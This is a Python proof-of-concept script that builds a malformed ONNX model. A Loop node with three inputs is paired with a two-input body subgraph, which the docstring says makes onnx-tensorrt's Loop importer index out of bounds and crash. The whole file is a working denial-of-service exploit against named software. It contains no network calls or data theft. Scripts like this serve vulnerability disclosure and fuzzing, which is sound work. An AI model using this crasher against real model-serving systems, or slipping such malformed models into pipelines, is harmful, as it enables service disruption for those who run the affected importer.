#!/usr/bin/env python3
"""Generate a malformed ONNX model that triggers a deterministic crash in onnx-tensorrt's Loop importer.

It builds a Loop node with 3 inputs (trip_count, cond, state0) but a body subgraph with only 2 inputs.
The onnx-tensorrt Loop importer unconditionally indexes body.input(i) for i>=2, causing an out-of-bounds
access in protobuf repeated fields (DoS / crash).

This script does NOT require the onnx Python package; it uses onnx.proto generated by protoc.
"""

import os
import sys

HERE = os.path.dirname(os.path.abspath(__file__))
GEN = os.path.join(HERE, "gen")
sys.path.insert(0, GEN)

import onnx_pb2  # type: ignore


def _make_tensor(name: str, data_type: int, dims, float_data=None, int64_data=None, raw_data: bytes = b""):
    t = onnx_pb2.TensorProto()
    t.name = name
    t.data_type = data_type
    t.dims.extend(list(dims))
    if float_data is not None:
        t.float_data.extend(float_data)
    if int64_data is not None:
        t.int64_data.extend(int64_data)
    if raw_data:
        t.raw_data = raw_data
    return t


def _const_node(output_name: str, tensor: onnx_pb2.TensorProto, node_name: str):
    n = onnx_pb2.NodeProto()
    n.op_type = "Constant"
    n.name = node_name
    n.output.extend([output_name])
    a = onnx_pb2.AttributeProto()
    a.name = "value"
    a.type = onnx_pb2.AttributeProto.TENSOR
    a.t.CopyFrom(tensor)
    n.attribute.extend([a])
    return n


def main(out_path: str):
    # Outer graph inputs/initializers
    # trip_count: INT64 scalar initializer
    trip_t = _make_tensor("trip", onnx_pb2.TensorProto.INT64, [], int64_data=[1])
    # cond: BOOL scalar initializer (use raw_data to avoid protobuf bool_data quirks)
    cond_t = _make_tensor("cond", onnx_pb2.TensorProto.BOOL, [], raw_data=b"\x01")

    # state0: FLOAT tensor input
    state0_vi = onnx_pb2.ValueInfoProto()
    state0_vi.name = "state0"
    state0_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.FLOAT
    state0_vi.type.tensor_type.shape.dim.add().dim_value = 1

    # Output of Loop node
    out_vi = onnx_pb2.ValueInfoProto()
    out_vi.name = "out_state"
    out_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.FLOAT
    out_vi.type.tensor_type.shape.dim.add().dim_value = 1

    # Body graph: intentionally only 2 inputs (iter_num, cond_in)
    body = onnx_pb2.GraphProto()
    body.name = "loop_body"

    iter_vi = onnx_pb2.ValueInfoProto()
    iter_vi.name = "iter"
    iter_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.INT64

    cond_in_vi = onnx_pb2.ValueInfoProto()
    cond_in_vi.name = "cond_in"
    cond_in_vi.type.tensor_type.elem_type = onnx_pb2.TensorProto.BOOL

    # Only 2 inputs; missing state0 input on purpose
    body.input.extend([iter_vi, cond_in_vi])

    # Body outputs: cond_out (bool), state_out (float[1])
    body_out0 = onnx_pb2.ValueInfoProto()
    body_out0.name = "cond_out"
    body_out0.type.tensor_type.elem_type = onnx_pb2.TensorProto.BOOL

    body_out1 = onnx_pb2.ValueInfoProto()
    body_out1.name = "state_out"
    body_out1.type.tensor_type.elem_type = onnx_pb2.TensorProto.FLOAT
    body_out1.type.tensor_type.shape.dim.add().dim_value = 1

    body.output.extend([body_out0, body_out1])

    # Nodes to produce outputs without referencing missing state input
    cond_const = _make_tensor("cond_val", onnx_pb2.TensorProto.BOOL, [], raw_data=b"\x01")
    state_const = _make_tensor("state_val", onnx_pb2.TensorProto.FLOAT, [1], float_data=[0.0])
    body.node.extend(
        [
            _const_node("cond_out", cond_const, "const_true"),
            _const_node("state_out", state_const, "const_state"),
        ]
    )

    # Loop node with 3 inputs (trip, cond, state0)
    loop = onnx_pb2.NodeProto()
    loop.op_type = "Loop"
    loop.name = "poc_loop"
    loop.input.extend(["trip", "cond", "state0"])
    loop.output.extend(["out_state"])

    body_attr = onnx_pb2.AttributeProto()
    body_attr.name = "body"
    body_attr.type = onnx_pb2.AttributeProto.GRAPH
    body_attr.g.CopyFrom(body)
    loop.attribute.extend([body_attr])

    # Outer graph
    graph = onnx_pb2.GraphProto()
    graph.name = "poc_graph"
    graph.input.extend([state0_vi])
    graph.output.extend([out_vi])
    graph.node.extend([loop])
    graph.initializer.extend([trip_t, cond_t])

    model = onnx_pb2.ModelProto()
    model.ir_version = 8
    model.producer_name = "poc-generator"
    model.graph.CopyFrom(graph)

    # opset import (standard domain)
    opset = onnx_pb2.OperatorSetIdProto()
    opset.domain = ""
    opset.version = 13
    model.opset_import.extend([opset])

    with open(out_path, "wb") as f:
        f.write(model.SerializeToString())

    print(f"Wrote {out_path} ({os.path.getsize(out_path)} bytes)")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} OUT.onnx", file=sys.stderr)
        raise SystemExit(2)
    main(sys.argv[1])